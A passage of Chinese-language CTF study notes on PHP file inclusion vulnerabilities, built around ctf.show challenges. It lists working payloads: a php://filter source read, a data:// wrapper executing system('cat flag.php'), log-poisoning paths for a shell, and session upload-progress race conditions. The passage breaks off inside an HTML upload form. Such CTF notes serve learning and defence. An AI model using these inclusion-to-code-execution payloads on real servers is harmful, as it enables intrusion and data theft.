本文以ctf.show网站题目为例,总结ctf中的文件包含漏洞
php伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
日志文件
日志文件路径:?file=/var/log/nginx/access.log
apache2:/var/log/apache2/access.log
直接访问会显示User-Agent的信息:
写入php文件,进行getshell
注意:访问日志文件只会显示前几次访问情况,要查看当前访问情况需要再一次访问
session文件竞争
https://blog.csdn.net/weixin_45669205/article/details/113709363
原理:
- session文件的命名格式是:
sess_[PHPSESSID的值] - session文件默认路径
linux:/tmp 或 /var/lib/php/session
Windows:C:\WINDOWS\Temp - session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag - 在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息(利用条件竞争应付这种情况)
<!DOCTYPE html>
<html>
<body>
<form action="http://1d293ab7-c661-4845-9ead-8ed9e8eacb82.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">